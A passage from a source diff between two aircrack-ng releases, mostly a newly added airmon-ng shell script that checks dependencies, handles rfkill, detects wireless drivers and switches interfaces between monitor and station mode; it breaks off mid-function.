-                HexOui[lineList[0].replace("-",":")] = lineList[2] 
+                HexOui[lineList[0].replace("-",":")] = lineList[2].strip()
                 #build a dict in the format of mac:company name 
         return HexOui
     
@@ -153,10 +156,10 @@
         """
         company_oui = {}
         for oui in self.oui_company:
-            if company_oui.has_key(self.oui_company[oui][0]):
-                company_oui[self.oui_company[oui][0]].append(oui)
+            if company_oui.has_key(self.oui_company[oui]):
+                company_oui[self.oui_company[oui]].append(oui)
             else:
-                company_oui[self.oui_company[oui][0]] = [oui]
+                company_oui[self.oui_company[oui]] = [oui]
         return company_oui

aircrack-ng-1.2-rc4.tar.gz/scripts/airgraph-ng/graphviz/lib_Airgraphviz.py -> aircrack-ng-1.4.tar.gz/scripts/airgraph-ng/graphviz/lib_Airgraphviz.py Changed

aircrack-ng-1.4.tar.gz/scripts/airgraph-ng/man/Makefile.am Added

@@ -0,0 +1,40 @@
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+dist_man1_MANS = airgraph-ng.1 airodump-join.1

aircrack-ng-1.2-rc4.tar.gz/scripts/airgraph-ng/man/airgraph-ng.1 -> aircrack-ng-1.4.tar.gz/scripts/airgraph-ng/man/airgraph-ng.1 Changed

aircrack-ng-1.4.tar.gz/scripts/airgraph-ng/man/airodump-join.1 Added

aircrack-ng-1.2-rc4.tar.gz/scripts/airgraph-ng/setup.py -> aircrack-ng-1.4.tar.gz/scripts/airgraph-ng/setup.py Changed

aircrack-ng-1.2-rc4.tar.gz/scripts/airmon-ng.freebsd -> aircrack-ng-1.4.tar.gz/scripts/airmon-ng.freebsd Changed

aircrack-ng-1.4.tar.gz/scripts/airmon-ng.linux Added

@@ -0,0 +1,1526 @@
+#!/bin/sh
+DEBUG="0"
+VERBOSE="0"
+ELITE="0"
+USERID=""
+IFACE=""
+checkvm_status=""
+MAC80211=0
+IW_SOURCE="https://www.kernel.org/pub/software/network/iw/iw-4.9.tar.xz"
+IW_ERROR=""
+if [ ! -d /sys/ ]; then
+	printf "CONFIG_SYSFS is disabled in your kernel, this program will almost certainly not work.\n"
+fi
+
+if [ "${1}" = "--elite" ]; then
+	shift
+	ELITE="1"
+fi
+
+if [ "${1}" = "--verbose" ]; then
+	shift
+	VERBOSE="1"
+fi
+
+if [ "${1}" = "--debug" ]; then
+	shift
+	DEBUG="1"
+	VERBOSE="1"
+fi
+
+#yes, I know this is in here twice
+if [ "${1}" = "--elite" ]; then
+	shift
+	ELITE="1"
+fi
+
+
+if [ -n "${3}" ];then
+	if [ "${3}" -gt 0 ] > /dev/null 2>&1; then
+		CH="${3}"
+	else
+		printf "\nYou have entered an invalid channel \"${3}\" which will be ignored\n"
+		CH=3
+	fi
+else
+	CH=10
+fi
+
+#TODO LIST
+
+#cleanup getDriver()
+#fix to not assume wifi drivers are modules
+#rewrite to not have two devices at any one time
+
+if [ -n "$(command -v id 2> /dev/null)" ]; then
+	USERID="$(id -u 2> /dev/null)"
+fi
+
+if [ -z "${USERID}" ] && [ -n "$(id -ru)" ]; then
+	USERID="$(id -ru)"
+fi
+
+if [ -n "${USERID}" ] && [ "${USERID}" != "0" ]; then
+	printf "Run it as root\n" ; exit 1;
+elif [ -z "${USERID}" ]; then
+	printf "Unable to determine user id, permission errors may occur.\n"
+fi
+
+#check for all needed binaries
+if [ ! -x "$(command -v uname 2>&1)" ]; then
+	printf "How in the world do you not have uname installed?\n"
+	printf "Please select a linux distro which has at least basic functionality (or install uname).\n"
+	exit 1
+else
+        OS=$(uname -s)
+	#Recognized values are Linux and Darwin
+fi
+
+if [ ! -x "$(command -v ip 2>&1)" ] && [ ! -x "$(command -v ifconfig 2>&1)" ]; then
+	printf "You have neither ip (iproute2) nor ifconfig installed.\n"
+	printf "Please install one of them from your distro's package manager.\n"
+	exit 1
+fi
+
+if [ ! -x "$(command -v iw 2>&1)" ]; then
+	printf "You don't have iw installed, please install it from your distro's package manager.\n"
+	printf "If your distro doesn't have a recent version you can download it from this link:\n"
+	printf "${IW_SOURCE}\n"
+	exit 1
+fi
+
+if [ ! -x "$(command -v ethtool 2>&1)" ]; then
+	printf "Please install the ethtool package for your distro.\n"
+	exit 1
+fi
+
+if [ -d /sys/bus/usb ]; then
+	if [ ! -x "$(command -v lsusb 2>&1)" ]; then
+		printf "Please install lsusb from your distro's package manager.\n"
+		exit 1
+	else
+		LSUSB=1
+	fi
+else
+	LSUSB=0
+fi
+
+if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ]; then
+	PCI_DEVICES=0
+	if [ -d /sys/bus/pci/devices ] && [ "$(ls -1 /sys/bus/pci/devices 2>/dev/null | wc -l)" != '0' ]; then
+		PCI_DEVICES=1
+	elif [ -r /proc/bus/pci/devices ] && [ -n "$(cat /proc/bus/pci/devices 2>/dev/null)" ]; then
+		PCI_DEVICES=1
+	elif [ -d /sys/bus/pci_express/devices ] && [ -n "$(ls -1 /sys/bus/pci_express/devices 2>/dev/null | wc -l)" != '0' ]; then
+		PCI_DEVICES=1
+	fi
+
+	if [ ${PCI_DEVICES} -eq 0 ]; then
+		LSPCI=0
+	elif [ ! -x "$(command -v lspci 2>&1)" ]; then
+		printf "Please install lspci from your distro's package manager.\n"
+		exit 1
+	else
+		LSPCI=1
+	fi
+else
+	LSPCI=0
+fi
+
+if [ -f /proc/modules ] || [ -d /sys/module ]; then
+	if [ ! -x "$(command -v modprobe 2>&1)" ]; then
+		printf "Your kernel has module support but you don't have modprobe installed.\n"
+		printf "It is highly recommended to install modprobe (typically from kmod).\n"
+		MODPROBE=0
+	else
+		MODPROBE=1
+	fi
+	if [ ! -x "$(command -v modinfo 2>&1)" ]; then
+		printf "Your kernel has module support but you don't have modinfo installed.\n"
+		printf "It is highly recommended to install modinfo (typically from kmod).\n"
+		printf "Warning: driver detection without modinfo may yield inaccurate results.\n"
+		MODINFO=0
+	else
+		MODINFO=1
+	fi
+else
+	MODINFO=0
+fi
+
+if [ -c /dev/rfkill ]; then
+	if [ ! -x "$(command -v rfkill 2>&1)" ];then
+		printf "Your kernel supports rfkill but you don't have rfkill installed.\n"
+		printf "To ensure devices are unblocked you must install rfkill.\n"
+		RFKILL=0
+	else
+		RFKILL=1
+	fi
+else
+	RFKILL=0
+fi
+
+if [ ! -x "$(command -v awk 2>&1)" ]; then
+	printf "How in the world do you not have awk installed?\n"
+	printf "Please select a linux distro which has at least basic functionality (or install awk).\n"
+	exit 1
+fi
+
+if [ ! -x "$(command -v grep 2>&1)" ]; then
+	printf "How in the world do you not have grep installed?\n"
+	printf "Please select a linux distro which has at least basic functionality (or install grep).\n"
+	exit 1
+fi
+#done checking for binaries
+
+usage() {
+	printf "usage: $(basename $0) <start|stop|check> <interface> [channel or frequency]\n\n"
+	exit 0
+}
+
+handleLostPhys() {
+	MISSING_INTERFACE=""
+        if [ -d /sys/class/ieee80211 ]; then
+		for i in $(ls /sys/class/ieee80211/); do
+			if [ ! -d /sys/class/ieee80211/${i}/device/net ]; then
+				MISSING_INTERFACE="${i}"
+				printf "\nFound ${MISSING_INTERFACE} with no interfaces assigned, would you like to assign one to it? [y/n] "
+				yesorno
+				retcode=$?
+	               		if [ "${retcode}" = "1" ]; then
+					printf "PHY ${MISSING_INTERFACE} will remain lost.\n"
+				elif [ "${retcode}" = "0" ]; then
+					PHYDEV=${MISSING_INTERFACE}
+					findFreeInterface monitor
+	               		fi
+			fi
+		done
+	fi
+				#add some spacing so this doesn't make the display hard to read
+				printf "\n"
+}
+
+findFreeInterface() {
+	if [ -z "${1}" ]; then
+		printf "findFreeInterface needs a target mode.\n"
+		exit 1
+	fi
+	if [ "${1}" != "monitor" ] && [ "${1}" != "station" ]; then
+		printf "findFreeInterface only supports monitor and station for target mode.\n"
+		exit 1
+	fi
+	target_mode="${1}"
+	if [ "$target_mode" = "monitor" ]; then
+		target_suffix="mon"
+		target_type="803"
+	else
+		target_suffix=""
+		target_type="1"
+	fi
+	for i in $(seq 0 100); do
+		if [ "$i" = "100" ]; then
+			printf "\n\tUnable to find a free name between wlan0 and wlan99, you are on your own from here.\n"
+			return 1
+		fi
+		if [ "$DEBUG" = "1" ]; then
+			printf "\nChecking candidate wlan${i}\n"
+		fi
+		if [ ! -e /sys/class/net/wlan${i} ]; then
+			if [ "$DEBUG" = "1" ]; then
+				printf "\nCandidate wlan${i} is not in use\n"
+			fi
+			if [ ! -e /sys/class/net/wlan${i}mon ]; then
+				if [ "$DEBUG" = "1" ]; then
+					printf "\nCandidate wlan${i} and wlan${i}mon are both clear, creating wlan${i}${target_suffix}\n"
+				fi
+				IW_ERROR="$(iw phy ${PHYDEV} interface add wlan${i}${target_suffix} type ${target_mode} 2>&1)"
+				if [ -z "${IW_ERROR}" ]; then
+					if [ -d /sys/class/ieee80211/${PHYDEV}/device/net ]; then
+						for j in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/); do
+							if [ "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${j}/type)" = "${target_type}" ]; then
+								#here is where we catch udev renaming our interface
+								k=${j#wlan}
+								i=${k%mon}
+							fi
+						done
+					else
+						printf "Unable to create wlan${i}${target_suffix} and no error received.\n"
+						return 1
+					fi
+					printf "\n\t\t(mac80211 ${target_mode} mode vif enabled on [${PHYDEV}]wlan${i}${target_suffix}\n"
+					unset IW_ERROR
+					break
+				else
+					printf "\n\n ERROR adding ${target_mode} mode interface: ${IW_ERROR}\n"
+					break
+				fi
+			else
+				if [ "$DEBUG" = "1" ]; then
+					printf "\nCandidate wlan${i} does not exist, but wlan${i}mon does, skipping...\n"
+				fi
+			fi
+		else
+			if [ "$DEBUG" = "1" ]; then
+				printf "\nCandidate wlan${i} is in use already.\n"
+			fi
+		fi
+	done
+}
+
+rfkill_check() {
+	#take phy and check blocks
+	if [ "${RFKILL}" = 0 ]; then
+		#immediately return if rfkill isn't supported
+		return 0
+	fi
+	if [ -z "${1}" ]; then
+		printf "Fatal, rfkill_check requires a phy to be passed in\n"
+		exit 1
+	fi
+	#first we have to find the rfkill index
+	#this is available as /sys/class/net/wlan0/phy80211/rfkill## but that's a bit difficult to parse
+	index="$(rfkill list | grep "${1}:" | awk -F: '{print $1}')"
+	if [ -z "$index" ]; then
+		return 187
+	fi
+	rfkill_status="$(rfkill list ${index} 2>&1)"
+	if [ $? != 0 ]; then
+		printf "rfkill error: ${rfkill_status}\n"
+		return 187
+	elif [ -z "${rfkill_status}" ]; then
+		printf "rfkill had no output, something went wrong.\n"
+		exit 1
+	else
+		soft=$(printf "${rfkill_status}" | grep -i soft | awk '{print $3}')
+		hard=$(printf "${rfkill_status}" | grep -i hard | awk '{print $3}')
+		if [ "${soft}" = "yes" ] && [ "${hard}" = "no" ]; then
+			return 1
+		elif [ "${soft}" = "no" ] && [ "${hard}" = "yes" ]; then
+			return 2
+		elif [ "${soft}" = "yes" ] && [ "${hard}" = "yes" ]; then
+			return 3
+		fi
+	fi
+	return 0
+}
+
+rfkill_unblock() {
+	#attempt unblock and CHECK SUCCESS
+	if [ "${RFKILL}" = 0 ]; then
+		#immediately return if rfkill isn't supported
+		return 0
+	fi
+	rfkill_status="$(rfkill unblock ${1#phy} 2>&1)"
+	if [ $? != 0 ]; then
+		rfkill_status="$(rfkill unblock $index 2>&1)"
+		if [ $? != 0 ]; then
+			if [ `echo "$blah" | grep "Usage" | wc -l` -eq 1 ]; then
+				printf "Missing parameters in rfkill! Report this"
+			else
+				printf "rfkill error: ${rfkill_status}\n"
+			fi
+			printf "Unable to unblock.\n"
+			return 1
+		fi
+	fi
+
+	sleep 1
+	return 0
+}
+
+setLink() {
+	if [ -x "$(command -v ip 2>&1)" ]; then
+		ip link set dev ${1} ${2} > /dev/null 2>&1 || printf "\nFailed to set ${1} ${2} using ip\n"
+	elif [ -x "$(command -v ifconfig 2>&1)" ]; then
+		ifconfig ${1} ${2} > /dev/null 2>&1 || printf "\nFailed to set ${1} ${2} using ifconfig\n"
+	fi
+	return
+}
+
+ifaceIsUp() {
+	if [ -x "$(command -v ip 2>&1)" ]; then
+		ifaceIsUpCmd="ip link show dev"
+	elif [ -x "$(command -v ifconfig 2>&1)" ]; then
+		ifaceIsUpCmd="ifconfig"
+	fi
+	if ${ifaceIsUpCmd} ${1} 2>&1 | grep -q UP
+	then
+		return
+	else
+		return 1
+	fi
+}
+
+#listIfaceUnspec() {
+#	if [ -x "$(command -v ip 2>&1)" ]; then
+#		ip link 2>/dev/null | awk -F"[: ]+" '/UNSPEC/ {print $2}'
+#	elif [ -x "$(command -v ifconfig 2>&1)" ]; then
+#		ifconfig -a 2>/dev/null | awk -F"[: ]+" '/UNSPEC/ {print $1}'
+#	fi
+#}
+
+startDeprecatedIface() {
+	iwconfig ${1} mode monitor > /dev/null 2>&1
+	if [ -n "${2}" ]; then
+		if [ ${2} -lt 1000 ]; then
+			iwconfig ${1} channel ${2} > /dev/null 2>&1
+		else
+			iwconfig ${1} freq ${2}000000 > /dev/null 2>&1
+		fi
+	else
+		iwconfig ${1} channel ${CH} > /dev/null 2>&1
+	fi
+	iwconfig ${1} key off > /dev/null 2>&1
+	setLink ${1} up
+	printf " (monitor mode enabled)"
+}
+
+yesorno() {
+	read input
+	case $input in
+		y) return 0 ;;
+		yes) return 0 ;;
+		n) return 1 ;;
+		no) return 1 ;;
+		*) printf "\nInvalid input. Yes, or no? [y/n] "
+		   yesorno;;
+	esac
+}
+
+startMac80211Iface() {
+	#check if rfkill is set and cry if it is
+	rfkill_check ${PHYDEV}
+	rfkill_retcode="$?"
+	case ${rfkill_retcode} in
+		1) printf "\t${1} is soft blocked, please run \"rfkill unblock ${index}\" to use this interface.\n" ;;
+		2) printf "\t${1} is hard blocked, please flip the hardware wifi switch (or in BIOS) to on.\n"
+		   printf "\tIt may also be possible to unblock with \"rfkill unblock ${index}\"\n"
+		   if [ "${checkvm_status}" != "run" ]; then
+		   	checkvm
+		   fi
+		   if [ -n "${vm}" ]; then
+		   	printf "Detected VM using ${vm_from}\n"
+		   	printf "This appears to be a ${vm} Virtual Machine\n"
+		   	printf "Some distributions have bugs causing rfkill hard block to be forced on in a VM.\n"
+		   	printf "If toggling the rfkill hardware switch and \"rfkill unblock ${index}\" both fail\n"
+		   	printf "to fix this, please try not running in a VM.\n"
+		   fi
+		   ;;
+		3) printf "\t${1} is hard and soft blocked, please flip the hardware wifi switch to on.\n"
+		   printf "\tIt may also be needed to unblock with \"rfkill unblock ${index}\"\n" ;;
+	esac
+	if [ "${rfkill_retcode}" != 0 ]; then
+		printf "rfkill error, unable to start ${1}\n\n"
+		printf "Would you like to try and automatically resolve this? [y/n] "
+		yesorno
+		retcode="$?"
+		if [ "${retcode}" = "1" ]; then
+			return 1
+		elif [ "${retcode}" = "0" ]; then
+			rfkill_unblock ${PHYDEV}
+		fi
+	fi
+	#check if $1 already has a mon interface on the same phy and bail if it does
+	if [ -d /sys/class/ieee80211/${PHYDEV}/device/net ]; then
+		for i in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/); do
+			if [ "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${i}/type)" = "803" ]; then
+				setChannelMac80211 ${i}
+				printf "\n\t\t(mac80211 monitor mode already enabled for [${PHYDEV}]${1} on [${PHYDEV}]${i})\n"
+				exit
+			fi
+		done
+	fi
+	#we didn't bail means we need a monitor interface
+	if [ ${#1} -gt 12 ]; then
+		printf "Interface ${1}mon is too long for linux so it will be renamed to the old style (wlan#) name.\n"
+		findFreeInterface monitor
+	else
+		if [ -e /sys/class/net/${1}mon ]; then
+			printf "\nYou already have a ${1}mon device but it is NOT in monitor mode."
+			printf "\nWhatever you did, don't do it again."
+			printf "\nPlease run \"iw ${1}mon del\" before attempting to continue\n"
+			exit 1
+		fi
+		#we didn't bail means our target interface is available
+		setLink ${1} down
+		if [ "${DRIVER}" = "8812au" ] || [ "${DRIVER}" = "8814au" ] || [ "${DRIVER}" = "88XXau" ]; then
+			#grumble grumble, seriously crap vendor driver
+			startDeprecatedIface ${1}
+			setChannelMac80211 ${1}
+			return
+		fi
+		IW_ERROR="$(iw phy ${PHYDEV} interface add ${1}mon type monitor 2>&1)"
+		if [ -z "${IW_ERROR}" ]; then
+			sleep 1
+			if [ -r "/sys/class/ieee80211/${PHYDEV}/device/net/${1}mon/type" ] && [ "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${1}mon/type)" = "803" ]; then
+				setChannelMac80211 ${1}mon
+			else
+				printf "\nNewly created monitor mode interface ${1}mon is *NOT* in monitor mode.\n"
+				printf "Removing non-monitor ${1}mon interface...\n"
+				stopMac80211Iface ${1}mon abort
+				exit 1
+			fi
+			printf "\n\t\t(mac80211 monitor mode vif enabled for [${PHYDEV}]${1} on [${PHYDEV}]${1}mon)\n"
+		else
+			printf "\n\nERROR adding monitor mode interface: ${IW_ERROR}\n"
+			exit 1
+		fi
+	fi
+	if [ "${ELITE}" = "1" ]; then
+		#check if $1 is still down, warn if not
+		if ifaceIsUp ${1}
+		then
+			printf "\nInterface ${1} is up, but it should be down. Something is interfering."
+			printf "\nPlease run \"airmon-ng check kill\" and/or kill your network manager."
+		fi
+	else
+		isRPiWireless && iw ${1} del
+		printf "\t\t(mac80211 station mode vif disabled for [${PHYDEV}]${1})\n"
+	fi
+}
+
+isRPiWireless() {
+	local HW_REV=$(grep Revision /proc/cpuinfo | awk '{print $3}')
+	[ -z "${HW_REV}" ] && return 0
+	# http://www.raspberrypi-spy.co.uk/2012/09/checking-your-raspberry-pi-board-version/
+	[ "${HW_REV}" = 'a22082' ] && return 1
+	[ "${HW_REV}" = 'a02082' ] && return 1
+	[ "${HW_REV}" = '9000c1' ] && return 1
+	[ "${HW_REV}" = 'a020d3' ] && return 1
+	return 0
+}
+
+startwlIface() {
+	if [ -f "/proc/brcm_monitor0" ]; then
+		if [ -r "/proc/brcm_monitor0" ]; then
+			local brcm_monitor="$(cat /proc/brcm_monitor0)"
+			if [ "$brcm_monitor" = "1" ]; then
+				printf "\n\t\t(experimental wl monitor mode vif already enabled for [${PHYDEV}]${1} on [${PHYDEV}]prism0)\n"
+				return 0
+			fi
+		fi
+		if [ -w "/proc/brcm_monitor0" ]; then
+			printf "1" > /proc/brcm_monitor0
+			if [ "$?" = "0" ]; then
+				printf "\n\t\t(experimental wl monitor mode vif enabled for [${PHYDEV}]${1} on [${PHYDEV}]prism0)\n"
+			else
+				printf "\n\t\t(failed to enable experimental wl monitor mode for [${PHYDEV}${1})\n"
+			fi
+		else
+			printf "\n\tUnable to write to /proc/brcm_monitor0, cannot enable monitor mode.\n"
+		fi
+	else
+		printf "\n\tThis version of wl does not appear to support monitor mode.\n"
+	fi
+}
+
+#startDarwinIface() {
+#	if [ -x /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport ]; then
+#		if [ -n "${CH}" ] && [ ${CH} -lt 220 ]; then
+#			/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport $1 sniff ${CH}
+#		else
+#			printf "Channel is set to none channel value of ${CH}
+#		fi
+#	fi
+#}
+
+setChannelMac80211() {
+	setLink ${1} up
+	if [ -n "${CH}" ]; then
+		if [ ${CH} -lt 1000 ]; then
+			if [ -r "/sys/class/net/$1/phy80211/name" ]; then
+		                channel_list="$(iw phy $(cat /sys/class/net/$1/phy80211/name) info 2>&1 | awk -F'[][]' '$2{print $2}')"
+				local hardware_valid_channel=1
+	        	        for i in $channel_list; do
+	                	        if [ "${CH}" = "${i}" ]; then
+	                        	        hardware_valid_channel=0
+		                                break
+		                        fi
+		                done
+				if [ "${hardware_valid_channel}" = "1" ]; then
+	        	                printf "Channel ${CH} does not appear to be supported by ${1} hardware, defaulting to channel 3.\n\n"
+					CH=3
+				fi
+			fi
+			IW_ERROR="$(iw dev ${1} set channel ${CH} 2>&1)"
+		else
+			if [ -r "/sys/class/net/$1/phy80211/name" ]; then
+				frequency_list="$(iw phy $(cat /sys/class/net/$1/phy80211/name) info 2>&1 | sed -nr 's/.*( |^)([0-9]+) MHz .*/\2/p')"
+				local hardware_valid_freq=1
+				for i in $frequency_list; do
+					if [ "${CH}" = "${i}" ]; then
+						hardware_valid_freq=0
+						break
+					fi
+					print
+				done
+				if [ "${hardware_valid_freq}" = "1" ]; then
+					printf "Frequency ${CH} does not appear to be supported by ${1} hardware, defaulting to 2422 Mhz.\n\n"
+					CH="2422"
+				fi
+			fi
+			IW_ERROR="$(iw dev ${1} set freq "${CH}" 2>&1)"
+		fi
+	else
+		printf "CH is unset, this should not be possible.\n"
+		exit 1
+	fi
+	if [ -n "${IW_ERROR}" ]; then
+		printf "\nError setting channel: ${IW_ERROR}\n"
+		if printf "${IW_ERROR}" | grep -q "(-16)"; then
+			printf "Error -16 likely means your card was set back to station mode by something.\n"
+			printf "Removing non-monitor ${1} interface...\n"
+			stopMac80211Iface "${1}" abort
+			exit 1
+		fi
+		if printf "${IW_ERROR}" | grep -q "(-22)"; then
+			printf "Unable to set channel/frequency ${CH}, most likely it is outside of regulatory domain\n\n"
+		fi
+	fi
+}
+
+stopDeprecatedIface() {
+	setLink $1 down
+	iwconfig $1 mode Managed > /dev/null 2>&1
+	setLink $1 up
+	printf " (monitor mode disabled)"
+}
+
+stopMac80211Iface() {
+	if [ -f /sys/class/net/${1}/type ]; then
+		if [ "${2}" != "abort" ] && [ "$(cat /sys/class/net/${1}/type)" != "803" ]; then
+			printf "\n\nYou are trying to stop a device that isn't in monitor mode.\n"
+			printf "Doing so is a terrible idea, if you really want to do it then you\n"
+			printf "need to type 'iw ${1} del' yourself since it is a terrible idea.\n"
+			printf "Most likely you want to remove an interface called wlan[0-9]mon\n"
+			printf "If you feel you have reached this warning in error,\n"
+			printf "please report it.\n"
+			exit 1
+		else
+			if [ "${DRIVER}" = "8812au" ] || [ "${DRIVER}" = "8814au" ] || [ "${DRIVER}" = "88XXau" ]; then
+				#grumble grumble, seriously crap vendor driver
+				stopDeprecatedIface ${1}
+				return
+			fi
+			if [ "${ELITE}" = "0" ]; then
+				local need_sta=1
+				if [ -d /sys/class/ieee80211/${PHYDEV}/device/net ]; then
+					for i in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/); do
+						if [ -r /sys/class/ieee80211/${PHYDEV}/device/net/${i}/type ] && [ "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${i}/type)" = "1" ]; then
+							[ "${2}" != "abort" ] && printf "\n\t\t(mac80211 station mode vif already available for [${PHYDEV}]${1} on [${PHYDEV}]${i})\n"
+							need_sta=0
+						fi
+					done
+				fi
+				if [ "${need_sta}" = "1" ] && [ -e /sys/class/net/${1%mon}/phy80211/name ]; then
+					if [ "$(cat /sys/class/net/${1%mon}/phy80211/name)" = "${PHYDEV}" ]; then
+						printf "\nYou already have a ${1%mon} device but it is NOT in station mode."
+						printf "\nWhatever you did, don't do it again."
+						printf "\nPlease run \"iw ${1%mon} del\" before attempting to continue\n"
+						exit 1
+					else
+						printf "\nYou already have a ${1%mon} device, but it is not on the same phy as ${1}.\n"
+						printf "\nAttemping to pick a new name...\n"
+						findFreeInterface station
+					fi
+				fi
+				if [ "${need_sta}" = "1" ]; then
+					IW_ERROR="$(iw phy ${PHYDEV} interface add ${1%mon} type station 2>&1)"
+					if [ -z "${IW_ERROR}" ]; then
+						interface="${1%mon}"
+						if [ -d /sys/class/ieee80211/${PHYDEV}/device/net ]; then
+							for i in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/); do
+								if [ "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${i}/type)" = "1" ]; then
+									#here is where we catch udev renaming our interface
+									interface="${i}"
+								fi
+							done
+						fi
+						printf "\n\t\t(mac80211 station mode vif enabled on [${PHYDEV}]${interface})\n"
+					else
+						printf "\n\n ERROR adding station mode interface: ${IW_ERROR}\n"
+					fi
+				fi
+			fi
+			setLink ${1} down
+			IW_ERROR="$(iw dev "${1}" del 2>&1 | grep "nl80211 not found")"
+			if [ -z "$IW_ERROR" ]; then
+				if [ "${2}" != "abort" ]; then
+					printf "\n\t\t(mac80211 monitor mode vif disabled for [${PHYDEV}]${1})\n"
+				elif [ "${2}" = "abort" ]; then
+					printf "\nWARNING: unable to start monitor mode, please run \"airmon-ng check kill\"\n"
+				fi
+			else
+				if [ -f /sys/class/ieee80211/${PHYDEV}/remove_iface ]; then
+					printf "${1}" > /sys/class/ieee80211/${PHYDEV}/remove_iface
+					printf "\n\t\t(mac80211 monitor mode vif disabled for [${PHYDEV}]${1})\n"
+				else
+					printf "\n\nERROR: Neither the sysfs interface links nor the iw command is available.\nPlease download and install iw from\n$IW_SOURCE\n"
+				fi
+			fi
+		fi
+	fi
+}
+
+stopwlIface() {
+	if [ -f "/proc/brcm_monitor0" ]; then
+		if [ -r "/proc/brcm_monitor0" ]; then
+			local brcm_monitor="$(cat /proc/brcm_monitor0)"
+			if [ "$brcm_monitor" = "0" ]; then
+				printf "\n\t\t(experimental wl monitor mode vif already disabled for [${PHYDEV}]${1})\n"
+				return 0
+			fi
+		fi
+		if [ -w "/proc/brcm_monitor0" ]; then
+			printf "0" > /proc/brcm_monitor0
+			if [ "$?" = "0" ]; then
+				printf "\n\t\t(experimental wl monitor mode vif disabled for [${PHYDEV}]${1})\n"
+			else
+				printf "\n\t\t(failed to disable experimental wl monitor mode for [${PHYDEV}${1})\n"
+			fi
+		else
+			printf "\n\tUnable to write to /proc/brcm_monitor0, cannot disable monitor mode.\n"
+		fi
+	else
+		printf "\n\tThis version of wl does not appear to support monitor mode.\n"
+	fi
+}
+
+getDriver() {
+	unset DRIVER
+	#standard detection path, this is all that is needed for proper drivers
+	#DRIVER=$(printf "$ethtool_output" | awk '/driver/ {print $2}')
+
+	#if $(modinfo -F filename ${DRIVER} > /dev/null 2>&1)
+	#then
+	#	true
+	#else
+	#	unset DRIVER
+	#fi
+
+	#if [ "$DRIVER" = "" ]
+	#then
+		if [ -f /sys/class/net/$1/device/uevent ]; then
+			DRIVER="$(awk -F'=' '$1 == "DRIVER" {print $2}' /sys/class/net/$1/device/uevent)"
+		fi
+	#fi
+
+	#here we test for driver usb, ath9k_htc,rt2870, possibly others show this
+	if [ "$DRIVER" = "usb" ]; then
+		printf "Warn ON: USB\n"
+		BUSADDR="$(printf "$ethtool_output" | awk '/bus-info/ {print $2}'):1.0"
+
+		if [ "$DEBUG" = "1" ]; 	then
+			printf "${BUSADDR}\n"
+		fi
+
+		if [ -n "$BUSADDR" ]; then
+			if [ -f /sys/class/net/$1/device/"$BUSADDR"/uevent ]; then
+				DRIVER="$(awk -F'=' '$1 == "DRIVER" {print $2}' /sys/class/net/$1/device/$BUSADDR/uevent)"
+			fi
+		fi
+
+		#here we can normalize driver names we don't like
+		if [ "$DRIVER" = "rt2870" ]; then
+			DRIVER="rt2870sta"
+		fi
+		if [ -f /sys/class/net/$1/device/idProduct ]; then
+			if [ "$(cat /sys/class/net/$1/device/idProduct)" = "3070" ]; then
+				DRIVER="rt3070sta"
+			fi
+		fi
+	fi
+	if [ "$DRIVER" = "rtl8187L" ]; then
+		DRIVER="r8187l"
+	fi
+	if [ "$DRIVER" = "rtl8187" ] && [ "$STACK" = "ieee80211" ]; then
+		DRIVER="r8187"
+	fi
+	if [ "$DRIVER" = "rtl88xxau" ]; then
+		DRIVER="88XXau"
+	fi
+	if [ "$DRIVER" = "rtl8812au" ]; then
+		DRIVER="8812au"
+	fi
+
+	#Here we will catch the broken lying drivers not caught above
+	#currently this only functions for pci devices and not usb since lsusb has no -k option
+	if [ "${MODINFO}" = "1" ]; then
+		if $(modinfo -F filename $DRIVER  > /dev/null 2>&1)
+		then
+			true
+		else
+			save="$DRIVER"
+
+			if [ -n "${DEVICEID}" ] && [ "$BUS" = "pci" ]; then
+				DRIVER="$(lspci -d $DEVICEID -k | awk '/modules/ {print $3}')"
+			fi
+			if [ -z "${BUS}" ] || [ "${BUS}" != 'sdio' ]; then
+					unset DRIVER
+			fi
+
+			if [ -n "$save" ] && [ -z "$DRIVER" ] ; then
+				DRIVER="$save"
+			fi
+		fi
+	fi
+	if [ -z "$DRIVER" ] ; then
+		DRIVER="??????"
+	fi
+	if [ "$DEBUG" = "1" ]; then
+		printf "getdriver() $DRIVER\n"
+	fi
+}
+
+getFrom() {
+	#from detection
+	FROM="K"
+	if [ "${MODINFO}" = "1" ] && [ -f /proc/modules ]; then
+		if modinfo -F filename $DRIVER 2>&1 | grep -q 'kernel/drivers'
+		then
+			FROM="K"
+			#we add special handling here because we hate the vendor drivers AND they install in the wrong place
+			if [ "$DRIVER" = "r8187" ]; then
+				FROM="V"
+			elif [ "$DRIVER" = "r8187l" ]; then
+				FROM="V"
